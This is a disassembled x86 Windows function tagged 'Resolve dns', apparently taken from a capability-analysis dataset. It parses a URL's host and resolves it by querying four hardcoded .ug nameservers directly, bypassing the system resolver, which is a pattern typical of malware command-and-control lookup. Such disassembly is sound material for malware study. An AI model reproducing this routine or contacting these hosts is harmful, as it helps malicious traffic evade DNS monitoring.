Function at 0x40dd40
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x4ca9a8
push eax
mov eax, 0xa0a0
mov dword fs:[0], esp
call fcn.0042f7c0
push ebx
push esi
push edi
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0xa8], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 8
push str.http:__
cmovae eax, dword [ebp + 8]
push eax
call fcn.00421c02
add esp, 8
test eax, eax
je 0x40dda5
push 7
push 0
lea ecx, [ebp + 8]
call fcn.00413340
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push str.https:__
cmovae eax, dword [ebp + 8]
push eax
call fcn.00421c02
add esp, 8
test eax, eax
je 0x40ddce
push 8
push 0
lea ecx, [ebp + 8]
call fcn.00413340
xor eax, eax
push 0x4ffe
push eax
mov word [ebp - 0xa0a8], ax
lea eax, [ebp - 0xa0a6]
push eax
call fcn.0042b420
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0xc
mov ecx, dword [ebp + 0x1c]
xor esi, esi
mov edx, dword [ebp + 8]
lea ebx, [ebx]
cmp ecx, 8
lea eax, [ebp + 8]
cmovae eax, edx
push eax
call edi
cmp esi, eax
jge 0x40de51
cmp dword [ebp + 0x18], esi
jbe 0x40deea
mov ecx, dword [ebp + 0x1c]
lea eax, [ebp + 8]
mov edx, dword [ebp + 8]
cmp ecx, 8
cmovae eax, edx
cmp word [eax + esi*2], 0x2f
je 0x40de47
cmp ecx, 8
lea eax, [ebp + 8]
cmovae eax, edx
mov ax, word [eax + esi*2]
mov word [ebp + esi*2 - 0xa0a8], ax
inc esi
jmp 0x40de00
xor eax, eax
mov word [ebp + esi*2 - 0xa0a8], ax
xor esi, esi
xor edi, edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], edi
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 2
xor ebx, ebx
mov dword [ebp - 0x9c], str.ns1.kriston.ug
mov dword [ebp - 0x98], str.ns2.chalekin.ug
mov dword [ebp - 0x94], str.ns3.unalelath.ug
mov dword [ebp - 0x90], str.ns4.andromath.ug
lea ebx, [ebx]
push dword [ebp + ebx*4 - 0x9c]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40e051
cmp word [eax + 0xa], 0
jle 0x40e051
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, eax
mov dword [ebp - 0x4c], 0xf
mov dword [ebp - 0x50], 0
mov byte [ebp - 0x60], 0
cmp byte [edx], 0
jne 0x40def4
xor ecx, ecx
jmp 0x40df0c
push str.invalid_string_position
call fcn.0044f26c
mov ecx, edx
lea esi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40df00
sub ecx, esi
mov esi, dword [ebp - 0x28]
push ecx
push edx
lea ecx, [ebp - 0x60]
call fcn.004156d0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x60]
mov ecx, dword [ebp - 0x24]
cmp eax, ecx
jae 0x40dfc2
cmp esi, eax
ja 0x40dfc2
mov ecx, eax
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
mov ecx, dword [ebp - 0x24]
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
cmp ecx, edi
jne 0x40df5b
push ecx
lea ecx, [ebp - 0x28]
call fcn.00415230
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
lea eax, [esi + esi*2]
lea esi, [edx + eax*8]
test ecx, ecx
je 0x40e033
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
cmp dword [esi + 0x14], 0x10
jae 0x40df99
mov eax, dword [esi + 0x10]
inc eax
je 0x40dfa3
push eax
push esi
push ecx
call fcn.004205a0
mov ecx, dword [ebp - 0x24]
add esp, 0xc
jmp 0x40dfa3
mov eax, dword [esi]
mov dword [ecx], eax
mov dword [esi], 0
mov eax, dword [esi + 0x10]
mov dword [ecx + 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [ecx + 0x14], eax
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
jmp 0x40e033
cmp ecx, edi
jne 0x40dfd5
push ecx
lea ecx, [ebp - 0x28]
call fcn.00415230
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x40e033
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
cmp dword [ebp - 0x4c], 0x10
jae 0x40e009
mov eax, dword [ebp - 0x50]
inc eax
je 0x40e015
push eax
lea eax, [ebp - 0x60]
push eax
push ecx
call fcn.004205a0
mov ecx, dword [ebp - 0x24]
add esp, 0xc
jmp 0x40e015
mov eax, dword [ebp - 0x60]
mov dword [ecx], eax
mov dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x50]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x4c]
mov dword [ecx + 0x14], eax
mov dword [ebp - 0x4c], 0xf
mov dword [ebp - 0x50], 0
mov byte [ebp - 0x60], 0
add ecx, 0x18
mov byte [ebp - 4], 2
cmp dword [ebp - 0x4c], 0x10
mov dword [ebp - 0x24], ecx
jb 0x40e04e
push dword [ebp - 0x60]
call fcn.00422587
add esp, 4
mov esi, dword [ebp - 0x28]
inc ebx
cmp ebx, 4
jl 0x40dea0
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push 0x50017c
cmovae eax, dword [ebp + 8]
push eax
call fcn.00421c02
add esp, 8
mov dword [ebp - 0x8c], eax
push 8
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [ebp - 0x24]
xor esi, esi
mov ebx, dword [ebp - 0x28]
mov ecx, edi
mov dword [ebp - 0x7c], eax
sub ecx, ebx
mov eax, 0x2aaaaaab
mov dword [ebp - 0x30], esi
imul ecx
mov dword [ebp - 0x70], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x68], eax
je 0x40e48d
mov eax, ebx
mov dword [ebp - 0x78], ebx
cmp dword [eax + 0x14], 0x10
jb 0x40e0c0
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp - 0x7c]
push 0
mov dword [ecx + 4], eax
lea eax, [ebp - 0x64]
push eax
push ecx
push 2
push 2
lea eax, [ebp - 0xa0a8]
mov dword [ecx], 1
push eax
call dword [sym.imp.DNSAPI.dll_DnsQuery_W]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x6c], eax
test eax, eax
je 0x40e46e
mov ebx, dword [ebp - 0x18]
lea esp, [esp]
push dword [eax + 0x18]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
mov byte [ebp - 0xd], 0
mov ecx, ebx
mov dword [ebp - 0x30], esi
sub ecx, dword [ebp - 0x1c]
mov eax, 0x2aaaaaab
imul ecx
mov dword [ebp - 0x74], 0
sar edx, 2
mov edi, edx
shr edi, 0x1f
add edi, edx
mov dword [ebp - 0x88], edi
je 0x40e220
mov edx, dword [ebp - 0x1c]
mov al, byte [esi]
add edx, 0x10
mov byte [ebp - 0xe], al
mov dword [ebp - 0x80], edx
lea esp, [esp]
test al, al
jne 0x40e158
xor edi, edi
jmp 0x40e169
mov edi, esi
lea ecx, [edi + 1]
lea ecx, [ecx]
mov al, byte [edi]
inc edi
test al, al
jne 0x40e160
sub edi, ecx
cmp dword [edx + 4], 0x10
mov ebx, dword [edx]
jb 0x40e176
mov edx, dword [edx - 0x10]
jmp 0x40e179
add edx, 0xfffffff0
cmp ebx, edi
mov eax, edi
cmovb eax, ebx
test eax, eax
je 0x40e1e0
sub eax, 4
jb 0x40e1a1
lea esp, [esp]
mov ecx, dword [edx]
cmp ecx, dword [esi]
jne 0x40e1a6
add edx, 4
add esi, 4
sub eax, 4
jae 0x40e190
cmp eax, 0xfffffffc
je 0x40e1da
mov cl, byte [edx]
cmp cl, byte [esi]
jne 0x40e1d3
cmp eax, 0xfffffffd
je 0x40e1da
mov cl, byte [edx + 1]
cmp cl, byte [esi + 1]
jne 0x40e1d3
cmp eax, 0xfffffffe
je 0x40e1da
mov cl, byte [edx + 2]
cmp cl, byte [esi + 2]
jne 0x40e1d3
cmp eax, 0xffffffff
je 0x40e1da
mov al, byte [edx + 3]
cmp al, byte [esi + 3]
je 0x40e1da
sbb eax, eax
or eax, 1
jmp 0x40e1dc
xor eax, eax
test eax, eax
jne 0x40e1f2
cmp ebx, edi
jae 0x40e1e9
or eax, 0xffffffff
jmp 0x40e1f0
xor eax, eax
cmp ebx, edi
setne al
test eax, eax
mov edi, dword [ebp - 0x88]
sete al
test al, al
jne 0x40e244
mov esi, dword [ebp - 0x74]
mov edx, dword [ebp - 0x80]
inc esi
mov al, byte [ebp - 0xe]
add edx, 0x18
mov dword [ebp - 0x74], esi
cmp esi, edi
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x80], edx
jb 0x40e150
mov ebx, dword [ebp - 0x18]
mov al, byte [ebp - 0xd]
test al, al
jne 0x40e45e
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], al
cmp byte [esi], al
jne 0x40e24e
xor ecx, ecx
jmp 0x40e25c
mov ebx, dword [ebp - 0x18]
mov al, 1
mov esi, dword [ebp - 0x30]
jmp 0x40e223
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e253
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x48]
call fcn.004156d0
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 4
cmp eax, ebx
jae 0x40e371
mov ecx, eax
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
ja 0x40e371
sub ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [ebp - 0x2c]
cmp ebx, edx
jne 0x40e30a
mov ecx, edx
mov eax, 0x2aaaaaab
sub ecx, ebx
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jae 0x40e30a
mov eax, 0xaaaaaaa
sub eax, edi
cmp eax, 1
jb 0x40e54d
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x1c]
inc edi
imul ecx
mov eax, 0xaaaaaaa
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, ecx
shr edx, 1
sub eax, edx
cmp eax, ecx
jae 0x40e2f1
xor ecx, ecx
jmp 0x40e2f3
add ecx, edx
cmp ecx, edi
cmovb ecx, edi
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00416360
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c]
lea eax, [esi + esi*2]
lea esi, [ecx + eax*8]
test ebx, ebx
je 0x40e443
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], 0
mov byte [ebx], 0
cmp dword [esi + 0x14], 0x10
jae 0x40e345
mov eax, dword [esi + 0x10]
inc eax
je 0x40e34f
push eax
push esi
push ebx
call fcn.004205a0
add esp, 0xc
jmp 0x40e34f
mov eax, dword [esi]
mov dword [ebx], eax
mov dword [esi], 0
mov eax, dword [esi + 0x10]
mov dword [ebx + 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [ebx + 0x14], eax
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
jmp 0x40e443
mov eax, dword [ebp - 0x2c]
cmp ebx, eax
jne 0x40e3e8
mov ecx, eax
mov eax, 0x2aaaaaab
sub ecx, ebx
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jae 0x40e3e8
mov eax, 0xaaaaaaa
sub eax, edi
cmp eax, 1
jb 0x40e54d
mov ecx, dword [ebp - 0x2c]
lea esi, [edi + 1]
sub ecx, dword [ebp - 0x1c]
mov eax, 0x2aaaaaab
imul ecx
mov eax, 0xaaaaaaa
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, ecx
shr edx, 1
sub eax, edx
cmp eax, ecx
jae 0x40e3cf
xor ecx, ecx
jmp 0x40e3d1
add ecx, edx
cmp ecx, esi
cmovb ecx, esi
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00416360
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
test ebx, ebx
je 0x40e443
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], 0
mov byte [ebx], 0
cmp dword [ebp - 0x34], 0x10
jae 0x40e419
mov eax, dword [ebp - 0x38]
inc eax
je 0x40e425
push eax
lea eax, [ebp - 0x48]
push eax
push ebx
call fcn.004205a0
add esp, 0xc
jmp 0x40e425
mov eax, dword [ebp - 0x48]
mov dword [ebx], eax
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x38]
mov dword [ebx + 0x10], eax
mov eax, dword [ebp - 0x34]
mov dword [ebx + 0x14], eax
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], 0
add ebx, 0x18
mov byte [ebp - 4], 2
cmp dword [ebp - 0x34], 0x10
mov dword [ebp - 0x18], ebx
jb 0x40e45e
push dword [ebp - 0x48]
call fcn.00422587
add esp, 4
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
test eax, eax
jne 0x40e100
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x78]
inc ecx
add eax, 0x18
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x78], eax
cmp ecx, dword [ebp - 0x68]
jb 0x40e0b8
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x7c]
test eax, eax
je 0x40e49b
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
push dword [ebp - 0x64]
call dword [sym.imp.DNSAPI.dll_DnsFree]
xor eax, eax
push 0x4ffe
push eax
mov word [ebp - 0x50a8], ax
lea eax, [ebp - 0x50a6]
push eax
call fcn.0042b420
add esp, 0xc
lea eax, [ebp - 0x50a8]
push str.http:__
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
test esi, esi
je 0x40e557
sub esp, 0x18
xor bl, bl
mov ecx, esp
push 0xffffffffffffffff
push 0
push dword [ebp - 0x1c]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], bl
call fcn.00413ff0
mov dl, bl
lea ecx, [ebp - 0xa4]
call fcn.00412900
add esp, 0x18
cmp dword [eax + 0x14], 8
jb 0x40e515
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push eax
lea eax, [ebp - 0x50a8]
push eax
call esi
cmp dword [ebp - 0x90], 8
jb 0x40e53c
push dword [ebp - 0xa4]
call fcn.00422587
add esp, 4
push dword [ebp - 0x8c]
lea eax, [ebp - 0x50a8]
push eax
call esi
jmp 0x40e570
push str.vector_T__too_long
call fcn.0044f23e
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x50a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ebx, dword [ebp - 0x84]
xor eax, eax
mov dword [ebx + 0x14], 7
mov dword [ebx + 0x10], 0
mov word [ebx], ax
cmp word [ebp - 0x50a8], ax
jne 0x40e596
xor ecx, ecx
jmp 0x40e5af
lea ecx, [ebp - 0x50a8]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e5a0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x50a8]
mov ecx, ebx
push eax
call fcn.00415c10
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40e604
mov ebx, dword [ebp - 0x18]
mov esi, eax
cmp eax, ebx
je 0x40e5fb
mov edi, edi
cmp dword [esi + 0x14], 0x10
jb 0x40e5e0
push dword [esi]
call fcn.00422587
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x18
cmp esi, ebx
jne 0x40e5d0
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00422587
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40e642
mov esi, ebx
cmp ebx, edi
je 0x40e639
cmp dword [esi + 0x14], 0x10
jb 0x40e621
push dword [esi]
call fcn.00422587
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x18
cmp esi, edi
jne 0x40e611
push ebx
call fcn.00422587
add esp, 4
cmp dword [ebp + 0x1c], 8
jb 0x40e653
push dword [ebp + 8]
call fcn.00422587
add esp, 4
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x84]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret